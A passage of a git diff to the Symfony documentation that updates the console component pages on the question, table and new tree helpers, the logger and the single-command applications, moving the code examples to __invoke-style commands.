Question('Please enter the name of the bundle', 'AcmeDemoBundle'); $bundleName = $helper->ask($input, $output, $question); + + // ... do something with the bundleName + + return Command::SUCCESS; } The user will be asked "Please enter the name of the bundle". They can type @@ -93,16 +111,18 @@ Let the User Choose from a List of Answers If you have a predefined set of answers the user can choose from, you could use a :class:`Symfony\\Component\\Console\\Question\\ChoiceQuestion` -which makes sure that the user can only enter a valid string -from a predefined list:: +which makes sure that the user can only enter a valid string or the index +of the choice from a predefined list. In the example below, typing ``blue`` +or ``1`` is the same choice for the user. A default value is set with ``0`` +but ``red`` could be set instead (could be more explicit):: use Symfony\Component\Console\Question\ChoiceQuestion; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new ChoiceQuestion( 'Please select your favorite color (defaults to red)', // choices can also be PHP objects that implement __toString() method @@ -115,20 +135,40 @@ from a predefined list:: $output->writeln('You have just selected: '.$color); // ... do something with the color - } -.. versionadded:: 5.2 - - Support for using PHP objects as choice values was introduced in Symfony 5.2. + return Command::SUCCESS; + } The option which should be selected by default is provided with the third argument of the constructor. The default is ``null``, which means that no option is the default one. +Choice questions display both the choice value and a numeric index, which starts +from 0 by default. The user can type either the numeric index or the choice value +to make a selection: + +.. code-block:: terminal + + Please select your favorite color (defaults to red): + [0] red + [1] blue + [2] yellow + > + +.. tip:: + + To use custom indices, pass an array with custom numeric keys as the choice + values:: + + new ChoiceQuestion('Select a room:', [ + 102 => 'Room Foo', + 213 => 'Room Bar', + ]); + If the user enters an invalid string, an error message is shown and the user is asked to provide the answer another time, until they enter a valid string or reach the maximum number of attempts. The default value for the maximum number -of attempts is ``null``, which means infinite number of attempts. You can define +of attempts is ``null``, which means an infinite number of attempts. You can define your own error message using :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setErrorMessage`. @@ -142,10 +182,10 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult use Symfony\Component\Console\Question\ChoiceQuestion; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new ChoiceQuestion( 'Please select your favorite colors (defaults to red and blue)', ['red', 'blue', 'yellow'], @@ -155,10 +195,14 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult $colors = $helper->ask($input, $output, $question); $output->writeln('You have just selected: ' . implode(', ', $colors)); + + return Command::SUCCESS; } Now, when the user enters ``1,2``, the result will be: -``You have just selected: blue, yellow``. +``You have just selected: blue, yellow``. The user can also enter strings +(e.g. ``blue,yellow``) and even mix strings and the index of the choices +(e.g. ``blue,2``). If the user does not enter anything, the result will be: ``You have just selected: red, blue``. @@ -172,16 +216,20 @@ will be autocompleted as the user types:: use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $bundles = ['AcmeDemoBundle', 'AcmeBlogBundle', 'AcmeStoreBundle']; $question = new Question('Please enter the name of a bundle', 'FooBundle'); $question->setAutocompleterValues($bundles); $bundleName = $helper->ask($input, $output, $question); + + // ... do something with the bundleName + + return Command::SUCCESS; } In more complex use cases, it may be necessary to generate suggestions on the @@ -191,9 +239,9 @@ provide a callback function to dynamically generate suggestions:: use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); // This function is called whenever the input changes and new // suggestions are needed. @@ -208,7 +256,7 @@ provide a callback function to dynamically generate suggestions:: // where files and dirs can be found $foundFilesAndDirs = @scandir($inputPath) ?: []; - return array_map(function ($dirOrFile) use ($inputPath) { + return array_map(function (string $dirOrFile) use ($inputPath): string { return $inputPath.$dirOrFile; }, $foundFilesAndDirs); }; @@ -217,6 +265,10 @@ provide a callback function to dynamically generate suggestions:: $question->setAutocompleterCallback($callback); $filePath = $helper->ask($input, $output, $question); + + // ... do something with the filePath + + return Command::SUCCESS; } Do not Trim the Answer @@ -228,25 +280,24 @@ You can also specify if you want to not trim the answer by setting it directly w use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new Question('What is the name of the child?'); $question->setTrimmable(false); // if the users inputs 'elsa ' it will not be trimmed and you will get 'elsa ' as value $name = $helper->ask($input, $output, $question); + + // ... do something with the name + + return Command::SUCCESS; } Accept Multiline Answers ~~~~~~~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.2 - - The ``setMultiline()`` and ``isMultiline()`` methods were introduced in - Symfony 5.2. - By default, the question helper stops reading user input when it receives a newline character (i.e., when the user hits ``ENTER`` once). However, you may specify that the response to a question should allow multiline answers by passing ``true`` to @@ -255,15 +306,19 @@ the response to a question should allow multiline answers by passing ``true`` to use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new Question('How do you solve world peace?'); $question->setMultiline(true); $answer = $helper->ask($input, $output, $question); + + // ... do something with the answer + + return Command::SUCCESS; } Multiline questions stop reading user input after receiving an end-of-transmission @@ -278,19 +333,23 @@ convenient for passwords:: use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new Question('What is the database password?'); $question->setHidden(true); $question->setHiddenFallback(false); $password = $helper->ask($input, $output, $question); + + // ... do something with the password + + return Command::SUCCESS; } -.. caution:: +.. warning:: When you ask for a hidden response, Symfony will use either a binary, change ``stty`` mode or use another trick to hide the response. If none is available, @@ -311,13 +370,15 @@ convenient for passwords:: use Symfony\Component\Console\Question\ChoiceQuestion; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); QuestionHelper::disableStty(); // ... + + return Command::SUCCESS; } Normalizing the Answer @@ -333,26 +394,32 @@ method:: use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle'); - $question->setNormalizer(function ($value) { + $question->setNormalizer(function (string $value): string { // $value can be null here return $value ? trim($value) : ''; }); $bundleName = $helper->ask($input, $output, $question); + + // ... do something with the bundleName + + return Command::SUCCESS; } -.. caution:: +.. warning:: The normalizer is called first and the returned value is used as the input of the validator. If the answer is invalid, don't throw exceptions in the normalizer and let the validator handle those errors. +.. _console-validate-question-answer: + Validating the Answer --------------------- @@ -365,13 +432,13 @@ method:: use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle'); - $question->setValidator(function ($answer) { + $question->setValidator(function (string $answer): string { if (!is_string($answer) || 'Bundle' !== substr($answer, -6)) { throw new \RuntimeException( 'The name of the bundle should be suffixed with \'Bundle\'' @@ -383,6 +450,10 @@ method:: $question->setMaxAttempts(2); $bundleName = $helper->ask($input, $output, $question); + + // ... do something with the bundleName + + return Command::SUCCESS; } The ``$validator`` is a callback which handles the validation. It should @@ -394,9 +465,25 @@ was successful. You can set the max number of times to ask with the :method:`Symfony\\Component\\Console\\Question\\Question::setMaxAttempts` method. If you reach this max number it will use the default value. Using ``null`` means -the amount of attempts is infinite. The user will be asked as long as they provide an +the number of attempts is infinite. The user will be asked as long as they provide an invalid answer and will only be able to proceed if their input is valid. +.. tip:: + + You can even use the :doc:`Validator </validation>` component to + validate the input by using the :method:`Symfony\\Component\\Validator\\Validation::createCallable` + method:: + + use Symfony\Component\Validator\Constraints\Regex; + use Symfony\Component\Validator\Validation; + + $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle'); + $validation = Validation::createCallable(new Regex( + pattern: '/^[a-zA-Z]+Bundle$/', + message: 'The name of the bundle should be suffixed with \'Bundle\'', + )); + $question->setValidator($validation); + Validating a Hidden Response ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -405,14 +492,17 @@ You can also use a validator with a hidden question:: use Symfony\Component\Console\Question\Question; // ... - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(InputInterface $input, OutputInterface $output): int { // ... - $helper = $this->getHelper('question'); + $helper = new QuestionHelper(); $question = new Question('Please enter your password'); - $question->setValidator(function ($value) { - if (trim($value) == '') { + $question->setNormalizer(function (?string $value): string { + return $value ?? ''; + }); + $question->setValidator(function (string $value): string { + if ('' === trim($value)) { throw new \Exception('The password cannot be empty'); } @@ -422,6 +512,10 @@ You can also use a validator with a hidden question:: $question->setMaxAttempts(20); $password = $helper->ask($input, $output, $question); + + // ... do something with the password + + return Command::SUCCESS; } Testing a Command that Expects Input @@ -430,12 +524,10 @@ Testing a Command that Expects Input If you want to write a unit test for a command which expects some kind of input from the command line, you need to set the inputs that the command expects:: - use Symfony\Component\Console\Helper\HelperSet; - use Symfony\Component\Console\Helper\QuestionHelper; use Symfony\Component\Console\Tester\CommandTester; // ... - public function testExecute() + public function testExecute(): void { // ... $commandTester = new CommandTester($command); @@ -468,7 +560,7 @@ This way you can test any user interaction (even complex ones) by passing the ap simulates a user hitting ``ENTER`` after each input, no need for passing an additional input. -.. caution:: +.. warning:: On Windows systems Symfony uses a special binary to implement hidden questions. This means that those questions don't use the default ``Input`` diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst index aa4c293d834..e36b1570b70 100644 --- a/components/console/helpers/table.rst +++ b/components/console/helpers/table.rst @@ -1,34 +1,25 @@ -.. index:: - single: Console Helpers; Table +Table Helper +============ -Table -===== - -When building a console application it may be useful to display tabular data: - -.. code-block:: terminal - - +---------------+--------------------------+------------------+ - | ISBN | Title | Author | - +---------------+--------------------------+------------------+ - | 99921-58-10-7 | Divine Comedy | Dante Alighieri | - | 9971-5-0210-0 | A Tale of Two Cities | Charles Dickens | - | 960-425-059-0 | The Lord of the Rings | J. R. R. Tolkien | - | 80-902734-1-6 | And Then There Were None | Agatha Christie | - +---------------+--------------------------+------------------+ +When building console applications, Symfony provides several utilities for +rendering tabular data. The simplest option is to use the table methods from +:ref:`Symfony Style <symfony-style-content>`. While convenient, this approach +doesn't allow customization of the table's design. For more control and advanced +features, use the ``Table`` console helper explained in this article. To display a table, use :class:`Symfony\\Component\\Console\\Helper\\Table`, set the headers, set the rows and then render the table:: + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Helper\Table; - use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; // ... - class SomeCommand extends Command + #[AsCommand(name: 'app:my-command')] + class MyCommand { - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(OutputInterface $output): int { $table = new Table($output); $table @@ -41,9 +32,27 @@ set the headers, set the rows and then render the table:: ]) ; $table->render(); + + return Command::SUCCESS; } } +This outputs: + +.. code-block:: terminal + + +---------------+--------------------------+------------------+ + | ISBN | Title | Author | + +---------------+--------------------------+------------------+ + | 99921-58-10-7 | Divine Comedy | Dante Alighieri | + | 9971-5-0210-0 | A Tale of Two Cities | Charles Dickens | + | 960-425-059-0 | The Lord of the Rings | J. R. R. Tolkien | + | 80-902734-1-6 | And Then There Were None | Agatha Christie | + +---------------+--------------------------+------------------+ + +Adding Table Separators +----------------------- + You can add a table separator anywhere in the output by passing an instance of :class:`Symfony\\Component\\Console\\Helper\\TableSeparator` as a row:: @@ -57,6 +66,8 @@ You can add a table separator anywhere in the output by passing an instance of ['80-902734-1-6', 'And Then There Were None', 'Agatha Christie'], ]); +This outputs: + .. code-block:: terminal +---------------+--------------------------+------------------+ @@ -69,13 +80,18 @@ You can add a table separator anywhere in the output by passing an instance of | 80-902734-1-6 | And Then There Were None | Agatha Christie | +---------------+--------------------------+------------------+ +Adding Table Titles +------------------- + You can optionally display titles at the top and the bottom of the table:: // ... - $table->setHeaderTitle('Books') - $table->setFooterTitle('Page 1/2') + $table->setHeaderTitle('Books'); + $table->setFooterTitle('Page 1/2'); $table->render(); +This outputs: + .. code-block:: terminal +---------------+----------- Books --------+------------------+ @@ -88,6 +104,9 @@ You can optionally display titles at the top and the bottom of the table:: | 80-902734-1-6 | And Then There Were None | Agatha Christie | +---------------+--------- Page 1/2 -------+------------------+ +Setting the Column Widths Explicitly +------------------------------------ + By default, the width of the columns is calculated automatically based on their contents. Use the :method:`Symfony\\Component\\Console\\Helper\\Table::setColumnWidths` method to set the column widths explicitly:: @@ -110,7 +129,7 @@ argument is the column width:: $table->setColumnWidth(2, 30); $table->render(); -The output of this command will be: +This outputs: .. code-block:: terminal @@ -137,7 +156,7 @@ If you prefer to wrap long contents in multiple rows, use the $table->setColumnMaxWidth(1, 10); $table->render(); -The output of this command will be: +This outputs: .. code-block:: terminal @@ -147,20 +166,51 @@ The output of this command will be: | 99921 | Divine Com | Dante Alighieri | | -58-1 | edy | | | 0-7 | | | - | (the rest of rows...) | + | (the rest of the rows...) | +-------+------------+--------------------------------+ +Rendering Vertical Tables +------------------------- + +By default, table contents are displayed horizontally. You can change this behavior +via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method:: + + // ... + $table->setVertical(); + $table->render(); + +This outputs: + +.. code-block:: terminal + + +------------------------------+ + | ISBN: 99921-58-10-7 | + | Title: Divine Comedy | + | Author: Dante Alighieri | + |------------------------------| + | ISBN: 9971-5-0210-0 | + | Title: A Tale of Two Cities | + | Author: Charles Dickens | + +------------------------------+ + +Customizing the Table Style +--------------------------- + The table style can be changed to any built-in styles via :method:`Symfony\\Component\\Console\\Helper\\Table::setStyle`:: - // same as calling nothing + // this 'default' style is the one used when no style is specified $table->setStyle('default'); - // changes the default style to compact +Built-in Table Styles +~~~~~~~~~~~~~~~~~~~~~ + +**Compact**:: + $table->setStyle('compact'); $table->render(); -This code results in: +This outputs: .. code-block:: terminal @@ -170,12 +220,12 @@ This code results in: 960-425-059-0 The Lord of the Rings J. R. R. Tolkien 80-902734-1-6 And Then There Were None Agatha Christie -You can also set the style to ``borderless``:: +**Borderless**:: $table->setStyle('borderless'); $table->render(); -which outputs: +This outputs: .. code-block:: terminal @@ -188,14 +238,14 @@ which outputs: 80-902734-1-6 And Then There Were None Agatha Christie =============== ========================== ================== -You can also set the style to ``box``:: +**Box**:: $table->setStyle('box'); $table->render(); -which outputs: +This outputs: -.. code-block:: text +.. code-block:: terminal ┌───────────────┬──────────────────────────┬──────────────────┐ │ ISBN │ Title │ Author │ @@ -206,14 +256,14 @@ which outputs: │ 80-902734-1-6 │ And Then There Were None │ Agatha Christie │ └───────────────┴──────────────────────────┴──────────────────┘ -You can also set the style to ``box-double``:: +**Double box**:: $table->setStyle('box-double'); $table->render(); -which outputs: +This outputs: -.. code-block:: text +.. code-block:: terminal ╔═══════════════╤══════════════════════════╤══════════════════╗ ║ ISBN │ Title │ Author ║ @@ -224,7 +274,30 @@ which outputs: ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie ║ ╚═══════════════╧══════════════════════════╧══════════════════╝ -If the built-in styles do not fit your need, define your own:: +**Markdown**:: + + $table->setStyle('markdown'); + $table->render(); + +This outputs: + +.. code-block:: terminal + + | ISBN | Title | Author | + |---------------|--------------------------|------------------| + | 99921-58-10-7 | Divine Comedy | Dante Alighieri | + | 9971-5-0210-0 | A Tale of Two Cities | Charles Dickens | + | 960-425-059-0 | The Lord of the Rings | J. R. R. Tolkien | + | 80-902734-1-6 | And Then There Were None | Agatha Christie | + +.. versionadded:: 7.3 + + The ``markdown`` style was introduced in Symfony 7.3. + +Making a Custom Table Style +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If the built-in styles do not fit your needs, define your own:: use Symfony\Component\Console\Helper\TableStyle; @@ -233,7 +306,7 @@ If the built-in styles do not fit your need, define your own:: // customizes the style $tableStyle - ->setDefaultCrossingChars('<fg=magenta>|</>') + ->setHorizontalBorderChars('<fg=magenta>|</>') ->setVerticalBorderChars('<fg=magenta>-</>') ->setDefaultCrossingChar(' ') ; @@ -244,7 +317,7 @@ If the built-in styles do not fit your need, define your own:: Here is a full list of things you can customize: * :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setPaddingChar` -* :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChars` +* :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setHorizontalBorderChars` * :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setVerticalBorderChars` * :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setCrossingChars` * :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChar` @@ -265,10 +338,6 @@ Here is a full list of things you can customize: This method can also be used to override a built-in style. -.. versionadded:: 5.2 - - The option to style table cells was introduced in Symfony 5.2. - In addition to the built-in table styles, you can also apply different styles to each table cell via :class:`Symfony\\Component\\Console\\Helper\\TableCellStyle`:: @@ -318,7 +387,7 @@ To make a table cell that spans multiple columns you can use a :class:`Symfony\\ ; $table->render(); -This results in: +This outputs: .. code-block:: terminal @@ -338,10 +407,10 @@ This results in: $table->setHeaders([ [new TableCell('Main table title', ['colspan' => 3])], ['ISBN', 'Title', 'Author'], - ]) + ]); // ... - This generates: + This outputs: .. code-block:: terminal @@ -383,7 +452,7 @@ This outputs: | 978-0804169127 | Divine Comedy | spans multiple rows | +----------------+---------------+---------------------+ -You can use the ``colspan`` and ``rowspan`` options at the same time which allows +You can use the ``colspan`` and ``rowspan`` options at the same time, which allows you to create any table layout you may wish. .. _console-modify-rendered-tables: @@ -404,9 +473,10 @@ The only requirement to append rows is that the table must be rendered inside a use Symfony\Component\Console\Helper\Table; // ... - class SomeCommand extends Command + #[AsCommand(name: 'app:my-command')] + class MyCommand { - public function execute(InputInterface $input, OutputInterface $output) + public function __invoke(OutputInterface $output): int { $section = $output->section(); $table = new Table($section); @@ -415,10 +485,12 @@ The only requirement to append rows is that the table must be rendered inside a $table->render(); $table->appendRow(['Symfony']); + + return Command::SUCCESS; } } -This will display the following table in the terminal: +This outputs: .. code-block:: terminal @@ -426,3 +498,24 @@ This will display the following table in the terminal: | Love | | Symfony | +---------+ + +.. tip:: + + You can create multiple lines using the :method:`Symfony\\Component\\Console\\Helper\\Table::addRows` method:: + + // ... + $table->addRows([ + ['Hello', 'World'], + ['Love', 'Symfony'], + ]); + $table->render(); + // ... + + This outputs: + + .. code-block:: terminal + + +-------+---------+ + | Hello | World | + | Love | Symfony | + +-------+---------+ diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst new file mode 100644 index 00000000000..5e08e684e51 --- /dev/null +++ b/components/console/helpers/tree.rst @@ -0,0 +1,336 @@ +Tree Helper +=========== + +The Tree Helper allows you to build and display tree structures in the console. +It's commonly used to render directory hierarchies, but you can also use it to render +any tree-like content, such us organizational charts, product category trees, taxonomies, etc. + +.. versionadded:: 7.3 + + The ``TreeHelper`` class was introduced in Symfony 7.3. + +Rendering a Tree +---------------- + +The :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method +creates a tree structure from an array and returns a :class:`Symfony\\Component\\Console\\Helper\\Tree` +object that can be rendered in the console. + +Rendering a Tree from an Array +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can build a tree from an array by passing the array to the +:method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method +inside your console command:: + + namespace App\Command; + + use Symfony\Component\Console\Attribute\AsCommand; + use Symfony\Component\Console\Helper\TreeHelper; + use Symfony\Component\Console\Helper\TreeNode; + use Symfony\Component\Console\Style\SymfonyStyle; + + #[AsCommand(name: 'app:my-command', description: '...')] + class MyCommand + { + // ... + + public function __invoke(SymfonyStyle $io): int + { + $node = TreeNode::fromValues([ + 'config/', + 'public/', + 'src/', + 'templates/', + 'tests/', + ]); + + $tree = TreeHelper::createTree($io, $node); + $tree->render(); + + // ... + } + } + +This exampe would output the following: + +.. code-block:: terminal + + ├── config/ + ├── public/ + ├── src/ + ├── templates/ + └── tests/ + +The given contents can be defined in a multi-dimensional array:: + + $tree = TreeHelper::createTree($io, null, [ + 'src' => [ + 'Command', + 'Controller' => [ + 'DefaultController.php', + ], + 'Kernel.php', + ], + 'templates' => [ + 'base.html.twig', + ], + ]); + + $tree->render(); + +The above code will output the following tree: + +.. code-block:: terminal + + ├── src + │ ├── Command + │ ├── Controller + │ │ └── DefaultController.php + │ └── Kernel.php + └── templates + └── base.html.twig + +Building a Tree Programmatically +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you don't know the tree elements beforehand, you can build the tree programmatically +by creating a new instance of the :class:`Symfony\\Component\\Console\\Helper\\Tree` +class and adding nodes to it:: + + use Symfony\Component\Console\Helper\TreeHelper; + use Symfony\Component\Console\Helper\TreeNode; + + $root = new TreeNode('my-project/'); + // you can pass a string directly or create a TreeNode object + $root->addChild('src/'); + $root->addChild(new TreeNode('templates/')); + + // create nested structures by adding child nodes to other nodes + $testsNode = new TreeNode('tests/'); + $functionalTestsNode = new TreeNode('Functional/'); + $testsNode->addChild($functionalTestsNode); + $root->addChild($testsNode); + + $tree = TreeHelper::createTree($io, $root); + $tree->render(); + +This example outputs: + +.. code-block:: terminal + + my-project/ + ├── src/ + ├── templates/ + └── tests/ + └── Functional/ + +If you prefer, you can build the array of elements programmatically and then +create and render the tree like this:: + + $tree = TreeHelper::createTree($io, null, $array); + $tree->render(); + +You can also build part of the tree from an array and then add other nodes:: + + $node = TreeNode::fromValues($array); + $node->addChild('templates'); + // ... + $tree = TreeHelper::createTree($io, $node); + $tree->render(); + +Customizing the Tree Style +-------------------------- + +Built-in Tree Styles +~~~~~~~~~~~~~~~~~~~~ + +The tree helper provides a few built-in styles that you can use to customize the +output of the tree. + +**Default**:: + + TreeHelper::createTree($io, $node, [], TreeStyle::default()); + +This outputs: + +.. code-block:: terminal + + ├── config + │ ├── packages + │ └── routes + │ ├── framework.yaml + │ └── web_profiler.yaml + ├── src + │ ├── Command + │ ├── Controller + │ │ └── DefaultController.php + │ └── Kernel.php + └── templates + └── base.html.twig + +**Box**:: + + TreeHelper::createTree($io, $node, [], TreeStyle::box()); + +This outputs: + +.. code-block:: terminal + + ┃╸ config + ┃ ┃╸ packages + ┃ ┗╸ routes + ┃ ┃╸ framework.yaml + ┃ ┗╸ web_profiler.yaml + ┃╸ src + ┃ ┃╸ Command + ┃ ┃╸ Controller + ┃ ┃ ┗╸ DefaultController.php + ┃ ┗╸ Kernel.php + ┗╸ templates + ┗╸ base.html.twig + +**Double box**:: + + TreeHelper::createTree($io, $node, [], TreeStyle::doubleBox()); + +This outputs: + +.. code-block:: terminal + + ╠═ config + ║ ╠═ packages + ║ ╚═ routes + ║ ╠═ framework.yaml + ║ ╚═ web_profiler.yaml + ╠═ src + ║ ╠═ Command + ║ ╠═ Controller + ║ ║ ╚═ DefaultController.php + ║ ╚═ Kernel.php + ╚═ templates + ╚═ base.html.twig + +**Compact**:: + + TreeHelper::createTree($io, $node, [], TreeStyle::compact()); + +This outputs: + +.. code-block:: terminal + + ├ config + │ ├ packages + │ └ routes + │ ├ framework.yaml + │ └ web_profiler.yaml + ├ src + │ ├ Command + │ ├ Controller + │ │ └ DefaultController.php + │ └ Kernel.php + └ templates + └ base.html.twig + +**Light**:: + + TreeHelper::createTree($io, $node, [], TreeStyle::light()); + +This outputs: + +.. code-block:: terminal + + |-- config + | |-- packages + | `-- routes + | |-- framework.yaml + | `-- web_profiler.yaml + |-- src + | |-- Command + | |-- Controller + | | `-- DefaultController.php + | `-- Kernel.php + `-- templates + `-- base.html.twig + +**Minimal**:: + + TreeHelper::createTree($io, $node, [], TreeStyle::minimal()); + +This outputs: + +.. code-block:: terminal + + . config + . . packages + . . routes + . . framework.yaml + . . web_profiler.yaml + . src + . . Command + . . Controller + . . . DefaultController.php + . . Kernel.php + . templates + . base.html.twig + +**Rounded**:: + + TreeHelper::createTree($io, $node, [], TreeStyle::rounded()); + +This outputs: + +.. code-block:: terminal + + ├─ config + │ ├─ packages + │ ╰─ routes + │ ├─ framework.yaml + │ ╰─ web_profiler.yaml + ├─ src + │ ├─ Command + │ ├─ Controller + │ │ ╰─ DefaultController.php + │ ╰─ Kernel.php + ╰─ templates + ╰─ base.html.twig + +Making a Custom Tree Style +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can create your own tree style by passing the characters to the constructor +of the :class:`Symfony\\Component\\Console\\Helper\\TreeStyle` class:: + + use Symfony\Component\Console\Helper\TreeHelper; + use Symfony\Component\Console\Helper\TreeStyle; + + $customStyle = new TreeStyle('🟣 ', '🟠 ', '🔵 ', '🟢 ', '🔴 ', '🟡 '); + + // Pass the custom style to the createTree method + + $tree = TreeHelper::createTree($io, null, [ + 'src' => [ + 'Command', + 'Controller' => [ + 'DefaultController.php', + ], + 'Kernel.php', + ], + 'templates' => [ + 'base.html.twig', + ], + ], $customStyle); + + $tree->render(); + +The above code will output the following tree: + +.. code-block:: terminal + + 🔵 🟣 🟡 src + 🔵 🟢 🟣 🟡 Command + 🔵 🟢 🟣 🟡 Controller + 🔵 🟢 🟢 🟠 🟡 DefaultController.php + 🔵 🟢 🟠 🟡 Kernel.php + 🔵 🟠 🟡 templates + 🔵 🔴 🟠 🟡 base.html.twig diff --git a/components/console/logger.rst b/components/console/logger.rst index 8f029e47002..cc182821a0a 100644 --- a/components/console/logger.rst +++ b/components/console/logger.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; Logger - Using the Logger ================ @@ -19,14 +16,12 @@ PSR-3 compliant logger:: class MyDependency { - private $logger; - - public function __construct(LoggerInterface $logger) - { - $this->logger = $logger; + public function __construct( + private LoggerInterface $logger, + ) { } - public function doStuff() + public function doStuff(): void { $this->logger->info('I love Tony Vairelles\' hairdresser.'); } @@ -37,30 +32,25 @@ You can rely on the logger to use this dependency inside a command:: namespace Acme\Console\Command; use Acme\MyDependency; + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; - use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Logger\ConsoleLogger; use Symfony\Component\Console\Output\OutputInterface; - class MyCommand extends Command + #[AsCommand( + name: 'my:command', + description: 'Use an external dependency requiring a PSR-3 logger' + )] + class MyCommand { - protected static $defaultName = 'my:command'; - - protected function configure() - { - $this - ->setDescription( - 'Use an external dependency requiring a PSR-3 logger' - ) - ; - } - - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(OutputInterface $output): int { $logger = new ConsoleLogger($output); $myDependency = new MyDependency($logger); $myDependency->doStuff(); + + return Command::SUCCESS; } } diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst index 500d679d1e1..9c6b06537e2 100644 --- a/components/console/single_command_tool.rst +++ b/components/console/single_command_tool.rst @@ -1,37 +1,26 @@ -.. index:: - single: Console; Single command application - Building a single Command Application ===================================== When building a command line tool, you may not need to provide several commands. -In such case, having to pass the command name each time is tedious. - -.. versionadded:: 5.1 - - The :class:`Symfony\\Component\\Console\\SingleCommandApplication` class was - introduced in Symfony 5.1. - -Fortunately, it is possible to remove this need by declaring a single command -application:: +In such a case, having to pass the command name each time is tedious. Fortunately, +it is possible to remove this need by declaring a single command application:: #!/usr/bin/env php <?php require __DIR__.'/vendor/autoload.php'; - use Symfony\Component\Console\Input\InputArgument; - use Symfony\Component\Console\Input\InputInterface; - use Symfony\Component\Console\Input\InputOption; + use Symfony\Component\Console\Attribute\Argument; + use Symfony\Component\Console\Attribute\Option; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\SingleCommandApplication; (new SingleCommandApplication()) ->setName('My Super Command') // Optional ->setVersion('1.0.0') // Optional - ->addArgument('foo', InputArgument::OPTIONAL, 'The directory') - ->addOption('bar', null, InputOption::VALUE_REQUIRED) - ->setCode(function (InputInterface $input, OutputInterface $output) { + ->setCode(function (OutputInterface $output, #[Argument] string $foo = 'The directory', #[Option] string $bar = ''): int { // output arguments and options + + return 0; }) ->run(); diff --git a/components/console/usage.rst b/components/console/usage.rst index e3a6601eec5..591994948b8 100644 --- a/components/console/usage.rst +++ b/components/console/usage.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; Usage - Using Console Commands, Shortcuts and Built-in Commands ======================================================= @@ -68,9 +65,17 @@ You can suppress output with: .. code-block:: terminal + # suppresses all output, including errors + $ php application.php list --silent + + # suppresses all output except errors $ php application.php list --quiet $ php application.php list -q +.. versionadded:: 7.2 + + The ``--silent`` option was introduced in Symfony 7.2. + You can get more verbose messages (if this is supported for a command) with: @@ -107,7 +112,7 @@ If you do not provide a console name then it will just output: .. code-block:: text - console tool + Console Tool You can force turning on ANSI output coloring with: diff --git a/components/contracts.rst b/components/contracts.rst index 1f1cc3f6adc..56b0394397d 100644 --- a/components/contracts.rst +++ b/components/contracts.rst @@ -1,7 +1,3 @@ -.. index:: - single: Contracts - single: Components; Contracts - The Contracts Component ======================= @@ -61,7 +57,7 @@ convention. For example: { "...": "...", "provide": { - "symfony/cache-implementation": "1.0" + "symfony/cache-implementation": "3.0" } } diff --git a/components/css_selector.rst 